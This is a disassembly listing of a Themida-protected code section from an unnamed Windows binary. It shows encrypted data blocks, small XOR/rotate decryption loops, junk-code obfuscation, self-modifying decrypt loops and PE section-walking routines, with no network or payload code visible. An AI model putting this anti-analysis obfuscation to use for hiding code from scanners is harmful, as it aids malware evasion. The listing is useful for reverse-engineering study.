		dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
		dd 0C033087Ah, 1E9h, 3F80AA00h,	0F6850F00h, 5FFFFFFFh
		dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
		dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h,	595EC38Bh
		dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC00Ah, 0FFFFFFE7h
		dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h,	2984h
		dd 0F385C700h, 107E76Fh, 50000000h, 244C010Fh, 0F7858FFEh
		dd 8D07E76Fh, 0E76FEF85h, 0F7BD8D07h, 8907E76Fh, 23E938h
		dd 858D0000h, 7E402E5h,	538408Bh, 9B46F317h, 6FEF8589h
		dd 858D07E7h, 7E402E5h,	893C408Bh, 0E76FF385h, 0C858D07h
		dd 8907E770h, 0E419DD85h, 87E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B970A:				; DATA XREF: Themida_:00583C68o
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_5B9725
; ---------------------------------------------------------------------------


loc_5B971E:				; CODE XREF: Themida_:005B9727j
		add	[esi], al
		xor	[esi], al
		ror	eax, 1
		inc	esi


loc_5B9725:				; CODE XREF: Themida_:005B9719j
		cmp	esi, edi
		jb	loc_5B971E
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_5B9732:				; DATA XREF: Themida_:0058300Co
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_5B974D
; ---------------------------------------------------------------------------


loc_5B9746:				; CODE XREF: Themida_:005B974Fj
		xor	[esi], al
		sub	[esi], al
		ror	eax, 1
		inc	esi


loc_5B974D:				; CODE XREF: Themida_:005B9741j
		cmp	esi, edi
		jb	loc_5B9746
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_5B975A:				; DATA XREF: Themida_:005841F0o
		push	edx
		mov	edx, esp
		push	esi
		push	ecx
		push	ebx
		xor	ebx, ebx
		mov	esi, [edx+8]
		mov	ecx, [edx+0Ch]
		jmp	loc_5B9780
; ---------------------------------------------------------------------------


loc_5B976D:				; CODE XREF: Themida_:005B9782j
		lodsb
		cmp	al, 2Dh
		jz	loc_5B9780
		add	al, 98h
		xor	al, 13h
		xor	bl, al
		rol	ebx, 8
		dec	ecx


loc_5B9780:				; CODE XREF: Themida_:005B9768j
					; Themida_:005B9770j
		or	ecx, ecx
		jnz	loc_5B976D
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	esi
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		db 8Dh,	85h, 7Fh
		dd 8907E772h, 0E417DD85h, 0A7858D07h, 8907E772h, 0E40B8185h
		dd 0CF858D07h, 8907E772h, 0E41D6585h, 12E807h, 41680000h
		dd 7C01EAFBh, 29D36EE5h, 4901A1DBh, 0A900AD9Dh,	26EB8166h
		dd 5E958A5h, 7A000000h,	45114F13h, 5B04C081h, 81660000h
		dd 683252EBh, 1690h, 68B0Fh, 820F0000h,	0
; ---------------------------------------------------------------------------
		pop	edi
		sub	cx, 246Eh


loc_5B97FE:				; CODE XREF: Themida_:005B986Ej
		push	dword ptr [eax]
		mov	esi, eax
		pop	edx
		push	esi
		sbb	bh, 0ABh
		pop	ebx
		xor	edx, 7A38FC80h
		jno	loc_5B9819
		and	bx, 17DEh


loc_5B9819:				; CODE XREF: Themida_:005B980Ej
		add	edx, 6BF8D56Ch
		push	eax
		and	ch, 0D3h
		pop	esi
		sub	edx, 0FC9A05Dh
		and	esi, 7B3AD15Eh
		mov	[eax], edx
		jz	loc_5B9845
		pusha
		mov	edx, 103DAF03h
		jle	$+6
		popa


loc_5B9845:				; CODE XREF: Themida_:005B9832j
		sub	eax, 6EEA2008h
		jmp	loc_5B9864
; ---------------------------------------------------------------------------
		dd 0F4A6F213h, 0D0CE97F6h, 0CE3EC430h, 9E35F8F9h, 0B809610h
; ---------------------------------------------------------------------------


loc_5B9864:				; CODE XREF: Themida_:005B984Bj
		add	eax, 6EEA2004h
		add	cl, 62h
		dec	edi
		jnz	loc_5B97FE
		call	sub_5B987F
		xchg	edi, [ecx-407D16C2h]

; =============== S U B	R O U T	I N E =======================================



sub_5B987F	proc near		; CODE XREF: Themida_:005B9874p
		push	eax
		pop	ebx
		pop	ecx
		pusha
		pusha
		jmp	loc_5B9890
; ---------------------------------------------------------------------------
		add	[eax+edx-40929AD4h], esi


loc_5B9890:				; CODE XREF: sub_5B987F+5j
		mov	bx, cx
		popa
		jmp	loc_5B98A1
; ---------------------------------------------------------------------------
		db 0DDh, 8, 9Ah
; ---------------------------------------------------------------------------
		pop	ds
		add	[ebx], ch
		mov	dh, dh


loc_5B98A1:				; CODE XREF: sub_5B987F+15j
		mov	eax, eax
		mov	si, bx
		cmp	dword ptr [ebp+7E413F1h], 0
		jnz	short loc_5B98B8
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5B98D1


loc_5B98B8:				; CODE XREF: sub_5B987F+2Ej
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+7E41479h],	eax
		lea	ebx, [ebp+7E6E9F0h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B98D1:				; CODE XREF: sub_5B987F+37j
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5B98F1
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+7E41479h],	eax
		lea	ebx, [ebp+7E6E6DFh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B98F1:				; CODE XREF: sub_5B987F+59j
		push	0
		push	ebp
		call	sub_5B98FC
		and	[ebp-3Dh], bl
sub_5B987F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B98FC	proc near		; CODE XREF: sub_5B987F+75p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5B98FC	endp

; ---------------------------------------------------------------------------
		dd 28E7C7F0h, 27843010h, 0D0A7BE49h, 0FE8405Ah,	0D8000000h
		dd 4222E7F1h, 45BBF923h, 1F3FABB5h, 66568C9Fh, 5E5ACF8Bh
		dd 8166C08Bh, 83F0F5D1h, 0E4015DBDh, 840F0007h,	45h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 33C35040h, 2C3E92Eh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 9B5A64C3h, 0BF0F27D0h, 0FDF8CD2h,	8Eh, 0C7F76600h
		dd 850F0004h, 28Dh, 0BD83D18Bh,	7E42BFDh, 18850F00h, 8A000000h
		dd 277E9D1h, 9E90000h, 60000000h, 0B5CF593Dh, 0F160E8ADh
		dd 2BF3B70Fh, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0AE9EB3Eh, 6000000h, 0BB4F5D4Bh
		dd 79B14D43h, 7B9D8D98h, 0BE07E777h, 0AA67F10h,	78A0F50h
		dd 51000000h, 548B0CB9h, 1C895A3Ch, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0E9AFB5E1h
		dd 0Bh,	6F8DC103h, 0C9C20AFCh, 64352129h, 35FFh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 650AB1C3h, 0AE8h, 0AB166B00h, 6BB97AE6h, 0F41753Ah
		dd 385h, 0D0B70F00h, 2589645Ah,	0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5B9A8F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9A8F	proc near		; CODE XREF: Themida_:005B9A87p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5B9A8F	endp

; ---------------------------------------------------------------------------
		db 0C9h
		dd 0FFCA19Ch, 0A80h, 5E900h, 17C70000h,	8B677558h, 50006AC4h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0CD6335C7h, 8100EB01h, 0B9D846DAh, 55006A18h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 270C4F58h, 91EFA181h, 0F78B8397h, 8F6470B6h,	5, 0EDF68100h
		dd 8323B1B0h, 6A04C4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 524743C3h, 0A4D2A550h, 0B317C4Dh
		dd 0EA840FC0h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 5950C355h, 0C495EB64h
		dd 0F66030Dh, 88Dh, 28B0F00h, 60000000h, 0E8605061h, 10h
		dd 0C5056387h, 918EAE41h, 0AA145920h, 4A90990Dh, 0F2C68058h
		dd 66615A61h, 8DD79DBAh, 0E472B7BDh, 1B8F507h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 28FCC355h, 0DA03216Fh, 0FFD08B66h, 57006AE7h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0C81FD2CEh, 0C4795536h, 14E9F5h, 0DF150000h,	9BA7CFDBh
		dd 0F5F6D2AFh, 5480F986h, 0FB19983Ah, 8B57C242h, 8B10245Ch
		dd 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
		dd 0C3C0335Fh, 0D3E28166h, 66606109h, 9BCADE81h, 0B2C08B61h
		dd 0F1BD8307h, 7E413h, 0BD830975h, 7E40935h, 50197400h
		dd 0B8C08B53h, 40Eh, 0EED8589h,	9D8D07E4h, 7E6EA57h, 585BD3FFh
		dd 935BD83h, 740007E4h,	0B8535017h, 40Eh, 0EED8589h, 9D8D07E4h
		dd 7E6E6F8h, 585BD3FFh,	6A9CC680h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EC22C357h
		dd 15F3BFD1h, 0E8C08BF5h, 13h, 64540A26h, 92D0C044h, 279E621Ah
		dd 0B48CA4B3h, 0FAE17BDh, 0B86h, 6E900h, 0BC0E0000h, 2E56EF50h
		dd 38BA665Eh, 0EBC28BB8h, 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 15858B24h
		dd 8D07E420h, 0E7CC1085h, 8B088B07h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 0E778568Dh, 0FDBD8307h, 7E42Bh, 0F840Fh
		dd 6A600000h, 4195FF00h, 6107E40Eh, 0FFFFC4E9h,	728966FFh
		dd 10CEC1FCh, 2728966h,	5A04CD52h, 78528589h, 0B58B07E7h
		dd 7E77856h, 6610CEC1h,	8B027289h, 0E77856B5h, 72896607h
		dd 858B61FCh, 7E77852h,	0AD958DC3h, 8907E40Bh, 0E4169D95h
		dd 0B5958907h, 0FF07E41Eh, 0E41EB585h, 2D85C607h, 5307E42Ch
		dd 0B148D868h, 9DB5FFFCh, 8D07E401h, 0E43BDC85h, 89D0FF07h
		dd 0E40E4185h, 26858D07h, 8907E770h, 0E4160185h, 0E900EB07h
		dd 5ACh, 5A0E9h, 79FB6800h, 0C8E907E7h,	68FFFD04h, 7E77B52h
		dd 0FD04BEE9h, 7BC768FFh, 0B4E907E7h, 68FFFD04h, 7E77CA6h
		dd 0FD04AAE9h, 7D9368FFh, 0A0E907E7h, 0B2FFFD04h, 0E24B8DAh
		dd 6B811535h, 0CBE1758Fh, 2E44D8ECh, 0CAA33753h, 34502B24h
		dd 92B08AA0h, 0F40AE8FEh, 556D4A60h, 0E15E0EC1h, 13A5D91Ah
		dd 3DDB73B8h, 6237495Fh, 42A08477h, 0A04B3014h,	11ED1442h
		dd 0A91442A0h, 1442A0D6h, 42A09862h, 0A0631C14h, 0E4AB9442h
		dd 0DC7ACAh, 0B313AEE6h, 337FA520h, 411F3172h, 0A69B86C4h
		dd 0D6E35593h, 96599530h, 29927183h, 475D3BD9h,	0FA77D9B3h
		dd 93A6D305h, 3C5668D1h, 3910485Eh, 8B085856h, 9442CC25h
		dd 0DC76CA33h, 41E2352Ah, 4267B01h, 79510000h, 0D4ADC357h
		dd 2E0A20B4h, 8B6A8014h, 0F2CDE377h, 836942D6h,	3FD3EFCAh
		dd 9D314F29h, 0FF93A987h, 60F40CE9h, 0FB80FDADh, 5713A5D9h
		dd 79568312h, 827C2961h, 551442A0h, 0DF41782Ch,	42A09D62h
		dd 80D03914h, 42A07C03h, 5F71DA14h, 0BC506845h,	61B1C9A6h
		dd 0A0FD82FFh, 0F0591442h, 6D4A18DEh, 2D930555h, 4C934C4Ah
		dd 1553192Bh, 4825184Ch, 3AC59C30h, 9BE05BC0h, 386h, 1BF492C4h
		dd 7B916FFBh, 7C96A843h, 0A24F879Fh, 1442A0D8h,	0A42623Bh
		dd 0BD495D3Ch, 0EE90C8E0h, 3E52FA7Dh, 0C043E297h, 0EAACCC84h
		dd 1B53734Ch, 95D16E80h, 65B5CDAAh, 0C0D2EAC7h,	9D3BEB9Eh
		dd 0B997A9BFh, 425A473Ch, 72AA1314h, 0ACA9C6A4h, 2A33F705h
		dd 604BC121h, 264A9AC6h, 0FD5F39CDh, 16591E9Bh,	8CF51442h
		dd 42165A21h, 7B88F814h, 0C7EB84A7h, 6E889AF3h,	6A417991h
		dd 1AF48826h, 365EEDA8h, 47D30D67h, 7E19516Bh, 5D75526Ch
		dd 5F7D5725h, 6025D6CBh, 0CAA1442h, 0E9031531h,	0E2B9F10Fh
		dd 3FB101ADh, 2E0AB4BFh, 6F15B414h, 0B9211D7Dh,	0D0D22854h
		dd 0E07EE0BEh, 0C1D7B506h, 5D95EE89h, 5B7B0C2h,	4B13A652h
		dd 0C8CE8EE2h, 23636A18h, 2CF9Dh, 0AED0A800h, 0B2B041Ah
		dd 6B856177h, 0CEE2C1D7h, 2D49243Ah, 213AC099h,	80962A46h
		dd 0DEF488A6h, 4056EA00h, 4B74B63h, 0DB20D754h,	69AE13A5h
		dd 617956DAh, 667E5B29h, 6886602Eh, 0A05CDFD4h,	27D81442h
		dd 701442B0h, 0AE407896h, 0B1D3110h, 42B06912h,	784E614h
		dd 1442B070h, 406375DEh, 920F5F4Fh, 13A69308h, 0DD89DD46h
		dd 686A1989h, 25AA228h,	451D0000h, 0A0798F23h, 0FAD6EC80h
		dd 57364CE0h, 0BE99AF43h, 0CF350EA2h, 0B9FBB96h, 69FD1BF5h
		dd 0CB5F7553h, 2CC0D8B5h, 0B74CC979h, 2313A5DBh, 79564FDEh
		dd 35972961h, 42A0C3B8h, 14268F14h, 0F6D21DFAh,	0D4B83DCh
		dd 70886503h, 0EE8B9D38h, 0D2EAC7B6h, 8CF2643Eh, 61A8690Dh
		dd 728D687Ah, 63E05B27h, 1D2h, 0A084778Ch, 310F1442h, 0FAD871Bh
		dd 0DEA52233h, 7C1442A0h, 0E782BA13h, 0C7DDBBD5h, 0E000D977h
		dd 5C3A08CEh, 0F984F646h, 666AFA27h, 55E5AE57h,	0AD06505Ch
		dd 0F42C4421h, 43814759h, 7553CA7Ah, 0BF4CB5Fh,	0CCE05BEEh
		dd 5Dh,	6C424DF5h, 0B8719F1Ch, 0BF1F13A6h, 0A6B9BD42h
		dd 0A27D1913h, 5AB34E86h, 0B9F68D0Ah, 0FB6413A6h, 0A5224EA2h
		dd 0F7376A19h, 17B71h, 224FC00h, 5F7F586Eh, 0BFD9B5CBh
		dd 2236152Bh, 819D788Eh, 75EE14EDh, 0D4EA7E9Ah,	3248DCFAh
		dd 94AA3E54h, 580B9FB7h, 0DC542BA8h, 0BD0213A5h, 6377562Eh
		dd 7E0D8A3Ah, 0EC1442A0h, 9F7D4B83h, 55E7C56h, 667E5B71h
		dd 7539572Eh, 0A4EDCBE1h, 0DB76AEC8h, 0FBD8EE82h, 0EF2193E3h
		dd 64A62AB2h, 5422E8FAh, 15C85C7Ah, 0D4E8C765h,	95A1B474h
		dd 94A6C37Ch, 0FD4239B6h, 0A7101442h, 0ABC5A16Fh, 149AF817h
		dd 18320EDCh, 0FDEC8F84h, 1631442h, 42FDFF84h, 0E0F25B14h
		dd 8CDCD2BDh, 0A6DBAD0Fh, 0EA3AA313h, 4355714Ch, 9BEEC765h
		dd 0B84CA5BFh, 9B76C9A2h, 20EE267Fh, 7ADC2C42h,	0A62406FDh
		dd 596BD413h, 0CDEBC593h, 0D1EBC795h, 0DDA21F81h, 7913A624h
		dd 6138FE10h, 0B330802Eh, 14422FE5h, 84F64AB3h,	0E962352Eh
		dd 8E23A9h, 11E90000h, 6C455BEFh, 0C6A2B84Ch, 230218ACh
		dd 8A657B0Fh, 0FB01DA6Eh, 0D76B8762h, 35C9E7C1h, 972B411Fh
		dd 0F88CA481h, 63189545h, 0EF13A5DDh, 20921BAAh, 59810348h
		dd 2F495B84h, 112B0752h, 0ADE53ED9h, 0B2EA02DFh, 84FBAB74h
		dd 24FB8FA7h, 0E05B18DBh, 29431FBDh, 107817h, 77A10000h
		dd 1442A085h, 871B3310h, 1AB9h,	0F4924800h, 32C4FC1Ah
		dd 42A0CEB5h, 0CA238C14h, 0A03CBFB8h, 7A571442h, 94FDCE62h
		dd 24258h, 74C30000h, 245C7E56h, 29617956h, 2F677D5Bh
		dd 31698761h, 346C8863h, 376F8B66h, 3E768A69h, 427A9470h
		dd 437B9B74h, 2CD768EEh, 3C890000h, 59E76824h, 34890000h
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 0BE240C89h
		dd 2F1E205Fh, 2414F756h, 0EE81465Eh, 0C8FA6645h, 8904EC83h
		dd 4812424h, 424h, 89685900h, 8900007Fh, 8BB241Ch, 1000000h
		dd 5B3389CBh, 592434FFh, 4C481h, 348B0000h, 0E0895024h
		dd 405h, 40500h, 4870000h, 3CE95C24h, 6EFFFCFFh, 0A35999A4h
		dd 4CBEE58Ch, 7E46B88Fh, 0C50307E7h, 51E9D18Bh
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_5BA363	proc near		; DATA XREF: Themida_:005829C4o
					; Themida_:005846D8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		add	esi, [esi+3Ch]
		mov	edi, [esp+20h+arg_4]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_5BA37E:				; CODE XREF: sub_5BA363+46j
		cmp	ecx, 0
		jz	loc_5BA39D
		cmp	edi, [edx+0Ch]
		jg	loc_5BA3A5
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_5BA39D:				; CODE XREF: sub_5BA363+1Ej
					; sub_5BA363+4Cj
		mov	[esp+20h+var_4], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_5BA3A5:				; CODE XREF: sub_5BA363+27j
		add	edx, 28h
		dec	ecx
		jnz	loc_5BA37E
		jmp	loc_5BA39D
sub_5BA363	endp

; ---------------------------------------------------------------------------
		mov	edx, 9FD3Eh
		jmp	short loc_5BA3DB
; ---------------------------------------------------------------------------
		align 4
		dd 7 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5BA3DB:				; CODE XREF: Themida_:005BA3B9j
		jmp	loc_5BA945
; ---------------------------------------------------------------------------
		jmp	loc_5BA93E
; ---------------------------------------------------------------------------
		push	7E78113h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E781D9h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E78351h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E783BAh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		db 0D8h, 0, 0DEh
		dd 3B5B344Ah, 9BB591A7h, 0FE12F107h, 5D79546Ah,	510AF0C9h
		dd 0B0C65A76h, 0E24B8D6h, 70861A30h, 34E77B93h,	0DF700784h
		dd 99DE13A5h, 6C886301h, 0B2879934h, 28607A56h,	42A0807Bh
		dd 0E364794h, 976CE94Bh, 349442A0h, 18B90F58h, 0D0398A7Ch
		dd 0A1CE3BEh, 30B9605Ch, 0E2000000h, 42A08577h,	0D2AE4C14h
		dd 0C83A6B8h, 1F78946Fh, 8D555DCFh, 83FF7308h, 29169371h
		dd 3513A556h, 902C0DC5h, 0F54E6C2Eh, 429361h, 77220000h
		dd 1442A084h, 7569D94Bh, 627F3114h, 42771EE5h, 0FA53BC14h
		dd 0E4CAC5E8h, 8281794h, 0CD3613A5h, 0D99E1B7Dh, 7513AAF6h
		dd 2A0FF05h, 0A3FC20F8h, 12243817h, 997816F0h, 245C7652h
		dd 491E3089h, 10607A56h, 1D729972h, 1F77FA8Eh, 3FDA126Bh
		dd 3EBA672Dh, 3E6BBDF4h, 0B8948BBBh, 0A7EB0A9Eh, 413AB707h
		dd 0D94421Bh, 0C19E6CA4h, 99F615A9h, 0A248C515h, 3093A63Bh
		dd 449DB994h, 7B9C5F0Ch, 1A2B93A6h, 42CD326Ah, 0A90A5877h
		dd 33000000h, 0CCB33092h, 8A1442A0h, 0A3EC0F21h, 0E759BB0Bh
		dd 0CB14EF4Dh, 0F87FFC49h, 56144236h, 898294EDh, 13A54EA9h
		dd 900252BBh, 0C09F65B2h, 79D974ACh, 0FC4C805Ah, 0AA59F87Fh
		dd 0DBED5613h, 20FD9BFDh, 72967701h, 146DE089h,	1B2F0EDCh
		dd 0DDEF48E3h, 3ACEE6C3h, 9A284724h, 0B5BDE3A9h, 53680F8Ch
		dd 7DE613AAh, 0B77CB24h, 726A14D1h, 2DFAC32h, 91690000h
		dd 0ECC5DB6Fh, 462238CCh, 0A382982Ch, 0AE5FB8Fh, 7B815AEEh
		dd 57EB07E2h, 0B5496741h, 17ABC19Fh, 780C2401h,	0E39815C5h
		dd 6F13A521h, 0AA9E9B2Ah, 2D000002h, 28607A56h,	0C0B73496h
		dd 8E1442A0h, 611A1325h, 0D31442A0h, 1442A0A8h,	93AD8927h
		dd 97B18D5Bh, 596BC45Fh, 42A09C60h, 0A0631C14h,	52F01442h
		dd 92245C76h, 42A06E15h, 2A83EC14h, 6FA7C39Eh, 36C9C2D4h
		dd 821442A0h, 0D442A0F9h, 8077F456h, 4ED442A0h,	0DFB0D3E5h
		dd 7F1D7FCFh, 817A8CA0h, 0D3A58CACh, 32C946A6h,	0A0D3A58Dh
		dd 14A6DE37h, 8D4E35B2h, 0A30CD3A5h, 8D216E91h,	92EAC03Dh
		dd 0FF68D441h, 3277E1ABh, 0EA70B0A2h, 219h, 0A135572Fh
		dd 0FE92B28Bh, 5EF20CE8h, 0C1556948h, 20B4D0ABh, 0CDA8A147h
		dd 2D071DB1h, 87657B0Fh, 0EAC7DD71h, 0DB8B3ED2h, 0A521995Eh
		dd 61F03513h, 11617956h, 0F082B99Fh, 0DE95C1BCh, 0FAA808C4h
		dd 223A1716h, 0E4F64FEAh, 6F48471Eh, 42520DF2h,	760C914h
		dd 2D713AB7h, 0D43D13A5h, 344E2A40h, 94AE8AA0h,	0ADCDA644h
		dd 754EDA75h, 70821D55h, 0F2BCD3AAh, 0AE6225A2h, 9430144Dh
		dd 0CB669EB8h, 6604DE72h, 9A356D8Dh, 50EC8F88h,	711E1B8Dh
		dd 0BB70ED3Dh, 771C6A2Fh, 4320BE0Eh, 0A481972Bh, 24C2548Ch
		dd 0C8A22E48h, 0CC9F98AAh, 8303F5CFh, 0BEE4A311h, 3A8A4E0Eh
		dd 0F5E4C6BDh, 192B9403h, 0C51599F6h, 129AFF48h, 0AAFA6304h
		dd 6434CB48h, 39A20BDCh, 0CEAB4927h, 2F0C22B6h,	4B29C717h
		dd 5062FD35h, 6432DD8Ah, 137C0BDCh, 15CE4B9Bh, 0D90C3B1Bh
		dd 0A5822070h, 6E3F98Dh, 552C9EEEh, 0AFE9A6FDh,	865D2335h
		dd 0D855A509h, 3423F86Bh, 0A03E8EF7h, 0D671A9C5h, 0AE51FEC4h
		dd 1D3B2F06h, 0DB24580Ch, 0FCB0EE6Bh, 0Ch, 0BD847725h
		dd 7571442h, 0E6000000h, 42BA8477h, 424D5414h, 0A003F875h
		dd 53D01442h, 1442A0ACh, 770C12Ah, 2EE15EAEh, 0E413A5DFh
		dd 236C437Bh, 0C19D3B8Bh, 0C2D46FA7h, 0CB9167E4h, 0D63F1441h
		dd 32311482h, 0CB519162h, 0A1h,	19ADCFA7h, 760A2A03h, 0D66A8460h
		dd 39CDE1C0h, 982C4823h, 452039BFh, 0A57F9529h,	0FFDDF387h
		dd 623F55E9h, 5303B64Ah, 0A52321D6h, 0D968AD13h, 16F492h
		dd 0F81B2DC8h, 4AC71797h, 13A5DF81h, 0D5ACE44Dh, 27A4F4BAh
		dd 1441D625h, 0D8F4CF6Bh, 0DBF7D2A0h, 23AF08A3h, 5AF52D47h
		dd 3BF3AD01h, 86C66232h, 3800h,	16381000h, 73936C82h, 0D3EDC9DFh
		dd 364A293Fh, 95B18CA2h, 89C22801h, 0E8FE92AEh,	465CF00Eh
		dd 0A8BE5268h, 6C1FB3CBh, 23B83FBCh, 0D11613A5h, 39E42h
		dd 8D2D0000h, 5C7E563Eh, 61795624h, 677D5B29h, 6987612Fh
		dd 6C886331h, 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h
		dd 8957EE43h, 4C781E7h,	81000000h, 4EFh, 243C8700h, 242C895Ch
		dd 8904EC83h, 5C682414h, 8900001Ah, 5550240Ch, 0B12B1BBDh
		dd 0DDF74D77h, 8108E5C1h, 0A357B4E5h, 42F58166h, 814B4D29h
		dd 1A1040C5h, 5DE889FAh, 5458C289h, 81240C8Bh, 4C4h, 0BF575200h
		dd 0AE30762h, 4247C01h,	8418F5Fh, 62086981h, 0FF0AE307h
		dd 81592434h, 4C4h, 24148B00h, 81E78957h, 4C7h,	4C78100h
		dd 87000000h, 0E95C243Ch, 0FFFCF957h, 0E6481895h, 17BCA309h
		dd 0BB6052F7h
		db 52h,	3Ch
; ---------------------------------------------------------------------------


loc_5BA93E:				; CODE XREF: Themida_:005BA3E0j
		mov	eax, 7E78417h
		add	eax, ebp


loc_5BA945:				; CODE XREF: Themida_:loc_5BA3DBj
		mov	ecx, eax
		call	near ptr loc_5BA95C+2
		push	esi
		sbb	al, 95h
		dec	edi
		add	ebp, [eax]
		mov	esp, 0EF6F762Ah
		mov	edi, 5A3E041h


loc_5BA95C:				; CODE XREF: Themida_:005BA947p
		add	eax, 8B665937h
		rep add	ecx, 739Eh
		cld
		mov	edx, 6536B7CDh
		sub	edx, 65369B08h
		jnb	$+6


loc_5BA97A:				; CODE XREF: Themida_:005BA9D2j
		push	dword ptr [ecx]
		adc	esi, 7550B638h
		pop	eax
		js	$+6
		xor	eax, 1C311C84h
		movzx	edi, dx
		sub	eax, 6FC66F2Ah
		push	ecx
		jmp	loc_5BA9AF
; ---------------------------------------------------------------------------
		dw 14E0h
		dd 0C44F0063h, 38E924FFh, 0B2E0EAF8h
		db 1Dh,	77h, 6Bh
; ---------------------------------------------------------------------------


loc_5BA9AF:				; CODE XREF: Themida_:005BA999j
		pop	esi
		add	eax, 5417F98Eh
		movsx	ebx, cx
		mov	[ecx], eax
		sub	ecx, 4
		jmp	loc_5BA9CC
; ---------------------------------------------------------------------------
		db 12h
		dd 0A17F9C7h, 0C9583EBh
; ---------------------------------------------------------------------------


loc_5BA9CC:				; CODE XREF: Themida_:005BA9BEj
		sub	edx, 1
		jnz	loc_5BA97A
		mov	ebx, eax
		jmp	loc_5BAB28
; ---------------------------------------------------------------------------
		db 68h
		dd 0E7048D36h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h
		dd 0BCECA4h, 52C55DD5h,	0A4D676D3h, 4100FC94h, 50C1AEC4h
		dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h
		dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh
		dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h
		dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch
		dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h,	0B0F3622Dh
		dd 38AE29h, 600000h, 640000h, 2	dup(0)
		dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
		dd 65530000h, 63697672h, 61502065h, 32206B63h, 20h dup(0)
; ---------------------------------------------------------------------------


loc_5BAB28:				; CODE XREF: Themida_:005BA9DAj
		jmp	loc_5BCA7E
; ---------------------------------------------------------------------------
		push	7E78869h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E78994h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E78A38h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E78B2Ch
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E78BE9h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E78C98h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E78D6Dh
		jmp	loc_58A287
